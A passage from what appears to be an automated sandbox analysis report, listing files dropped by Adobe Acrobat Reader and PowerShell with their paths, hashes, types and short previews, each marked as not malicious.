Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.265389696362119
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJf+dPeUkwRe9:YvXKX0kUTbd/nG28Ukee9
MD5:	07A195A4B81F389C37704C8726FC744C
SHA1:	E7073A3233C43C38AB81AC5E9B4AC7F3671496B4
SHA-256:	40A46C244611049599F78D4BC096478F5EEDF3BAE24FA316A9978F9915E6CA45
SHA-512:	F5556DCABE0CE1B7B9651F2A02C5C24F0087A0F6E005D6B4C4FC2683A8EED0847B1D21C26E183EC338967F11F1F64728E8D6045C7011A352BEBF71855A5B33C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.263383413430379
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfbPtdPeUkwRe9:YvXKX0kUTbd/nGDV8Ukee9
MD5:	852F6BCF7439422E9BB09F8EB504117C
SHA1:	0DC84E8A3E4BB5B09322585ABBA2174421DFCBCC
SHA-256:	D0E752EA1DB0AEDE29F9ACFC192FD7F75F85759882783E9F5CD498A2289E919C
SHA-512:	09288D1BB890F041FF9C45917F1D4FD755B66501857FD2054B1B29E392A01AC42C73761E5298E8CE4C4F97DB3BAC6385B52131DF68D3D471D5B9176663496029
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266483706785858
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJf21rPeUkwRe9:YvXKX0kUTbd/nG+16Ukee9
MD5:	293BE4B774C2C6ACA3A507F4703AF8AB
SHA1:	E1E665CBB0A7360300527AD117AE23756576EEC3
SHA-256:	483E40A6DBB876C4A505055AA75D7351965CFF61027A4DC70522125E58F8414B
SHA-512:	3CD06D40DA2A8C7A00DA081EB17AB611FADD4D515557B3CC06AD6596F30F39334AB4AD9E1973BB596F3433D59868B6E307542E33289F9D98A7E2BCB468F1C164
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.652776320903155
Encrypted:	false
SSDEEP:	24:Yv6X7UXVYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1:YvGwoBgkDMUJUAh8cvM1
MD5:	B3753B161D688F44EF8D7BB1B199572D
SHA1:	DF8603D4A1168E0B75F7865831F09176480A2E87
SHA-256:	9ACCE0B34233C3B934C6D748F3A6FB13BDF45A869A96E1D50DD9C3B37EB6F20C
SHA-512:	6091EAD2A292F4D6260B3D5970116671E4320CF0D0E7DE45E5AC9AA082AEBFF75BBB78E4DA034AC9781F1C742E66EBD0C84F5DD953D661EFB321AFF571460174
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239552259933988
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfshHHrPeUkwRe9:YvXKX0kUTbd/nGUUUkee9
MD5:	7FD62277A28B5D2FCA76E11669E06196
SHA1:	1733EF9E8377AB37CAF3B62E98A1B68E12F8E1C8
SHA-256:	3487154A020C0B34FBDAE2B52DE0661E51B47B045E0CF65AA23B93FC565766F6
SHA-512:	CACA87846D254B21BA7E921ADE597624DCDE1803CD0259B582A1A10E23EE9C892CD4D7B6C3471A357AD6402215D1C5767CBE9A3A2A8A9765F2565CBD6A281495
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2541937717872145
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJTqgFCrPeUkwRe9:YvXKX0kUTbd/nGTq16Ukee9
MD5:	ECC67BC34F667F839D7012A4B66CC521
SHA1:	FD9C6BC2632768DB6C838C25DA171FF05F112FE5
SHA-256:	387AAC223210DE8DADF567CB785A0C58C455661448876D525154C29FFC108144
SHA-512:	5E55B95770BFFBC482ADEC8B38842C283F61BD3C5158C8A05DCF523E2F0A2B3F0D8852D8716A2AB48240A1A33CBFE29FCFB904C7B481601C9A5E9A7625AF7A0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134453720286618
Encrypted:	false
SSDEEP:	24:Y9zFAFEaQh71aypJCyYKokrXml4jOhsj0SI1+9HECQ2mddL12LSSCfmz7skqpluW:Y9xAih75JzoiOh+zEXJ70lz7suZ9Hm
MD5:	10FF9922990FE8998683F4224CF27D75
SHA1:	D329D2FDB2D6FB8D0D7BEE27B3E4C518325B1AFA
SHA-256:	6DC7A88B8DF6FC00B3E15AF69D005B4E9C7AA30999C3243E1270EF1951A64A64
SHA-512:	AABF10DEBAEF3C7AEE72616F4BA77C50D892D1CBCB69EF7B9BDC7BCB3F6103058FA96CA7753E7434E4CBA1DE7C06E0EFF61B36C936CF9FD19283E5AFCB37D545
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"055d79f97dc7e59572ca10d6d67a2244","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736523590000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fa683a803a05de21e593f914a2e903b7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736523590000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c6e8f27cc3b6cbed9d3ef6bddda237dd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736523590000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6d1c15a35e05856ca689fd2283c050bf","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736523590000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"87ec1be0aa7aeb96a6b795ef191e10f9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736523590000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"ebf6ef79dcfc5c1a7335bad7ce914648","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3199258425318747
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YY7mK+EXSqn:TGufl2GL7msUKB0M0+Tb608YDrS
MD5:	9724B24E366B3A522E4984ABBBBEC15E
SHA1:	A804D775F8B618807AB19828B0486DCB86EC046C
SHA-256:	FC210B1A87EC2697E1C71B356DE29CB3D1FB3801F8E7C7D36907704AC2C79E1A
SHA-512:	AAAB46040BADB0E55A50494F3A717CF9E9B14F183BD887E7AEADE5C2AB9CB6288430D2A08B971E93742A941097A06181B29FF99093867EE19982DA4822B1532C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7801414323334344
Encrypted:	false
SSDEEP:	24:7+tDwl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YY7mK/EXSqXlyGKai2fqLhx/XH:7MaKB0M0+Tb608Y6rGKKfqFl2GL7msh
MD5:	1A3ECFC1EF5D8D4516953E6A499836CF
SHA1:	D8A9DED6AFC78144FD027644A3926458BA96F082
SHA-256:	C35BB1B3FF73543A99A1CF8B5D03DF1B33DB182D919569A66F733E37A5948358
SHA-512:	98E41405670B7EDCB3CEE6555CA8FE097BADAB47AA554A3CD293D47B672094D9FDE7634416E10667C26C3D61D577D3995F0E4DB7C99E6D753EC979A2DCD220CF
Malicious:	false
Preview:	.... .c.....O.B...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgldXexuRP6WytcuxsaoPqyHzP7Yyu:6a6TZ44ADEld42P6Wyuuo77K
MD5:	E26587571A5F12C66D1CF552303844DA
SHA1:	06E7F2842191640CDCE0F04247FEB275E5941468
SHA-256:	C885AFAC08A7E393D775F03F1C2220CC14F82190B23F16DCD2F0B469FC35FC5F
SHA-512:	8AFF7B7D18251C47D74F48209414A78A8E75D14112F4B246D5A1ED34ABB1BE23B9EBBA61CB00F20075710FECD079C006AB486880B5D956CD378BB9EE419EB082
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb8291.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEdN/0w:Qw946cPbiOxDlbYnuRK+bD/Z
MD5:	57B158A0B4DCCCF177B0FCDC5A84515B
SHA1:	6EE73DC75CFCB24B603C7BEC7A6116502154D9F5
SHA-256:	E477E6DDFD17909A3E108B22814DE4C83D46FF9F12107F0A4CDC353725975EC5
SHA-512:	48D21584630AC0BF1D8BAEFEE72B75FA53E9A22804B8CCB60203C01DA27E624935AE7CC8F117F19C6AD52185A7CDFDA001E9686C817B9393746BA5CD7282BE9E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.0.:.3.9.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cx4jlk3k.xtt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxfotmgj.otd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 10-39-42-505.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362325043564554
Encrypted:	false
SSDEEP:	384:mPLGjXZChNeGTl1kvSEHN/Knf4rSg3/6czXgzg1g9gNgwarHFAwDDTGlGfOpHEbo:EkF
MD5:	34BB0B55F4E2FF1306258ECA5B68B5D1
SHA1:	901756C53C5CCD267C9089E1463DE9375F848AB5
SHA-256:	855119C2B555C9F68B03610A23A578DDE7CC760050A529F612D0F53A32CA8464
SHA-512:	720F15BDD4965736CEA5F9D03068E27B8109A0515FAF77EB674C16FD3536972EBF4150DB87915E4127672912B85DAA5826966190ED65B45C759D20D7AF43B39A
Malicious:	false
Preview:	SessionID=9cc2f3b4-3b2b-4fd9-844b-70061c2e00b0.1736523582516 Timestamp=2025-01-10T10:39:42:516-0500 ThreadID=5136 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9cc2f3b4-3b2b-4fd9-844b-70061c2e00b0.1736523582516 Timestamp=2025-01-10T10:39:42:517-0500 ThreadID=5136 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9cc2f3b4-3b2b-4fd9-844b-70061c2e00b0.1736523582516 Timestamp=2025-01-10T10:39:42:517-0500 ThreadID=5136 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9cc2f3b4-3b2b-4fd9-844b-70061c2e00b0.1736523582516 Timestamp=2025-01-10T10:39:42:517-0500 ThreadID=5136 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9cc2f3b4-3b2b-4fd9-844b-70061c2e00b0.1736523582516 Timestamp=2025-01-10T10:39:42:517-0500 ThreadID=5136 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.405749429707514
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmn:EGvIcNYdpB3XQ
MD5:	4EA9CB063232F4C163C05FB8DA95391A
SHA1:	7950298C6DBEC11EB27EA0DCD88E0119D1EAE795
SHA-256:	BC0AD01D359A65DCADA10D5B2B7AFD36B422B729701E945E63359AF4168FFB6C
SHA-512:	D8B931636E44EDFCF6F23EF09745CA2FE88D1B2FBDD9D2DC7821A47D1AD405A83BAEAAFD3DD2BA25821C470B1E7EB2938A2CEA84C08C270AA50457E5AB5B370C
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\44c2f001-272d-46c3-8417-6b89a0c626d9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\54618ea1-c926-4fb5-a979-1a2919fa59d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
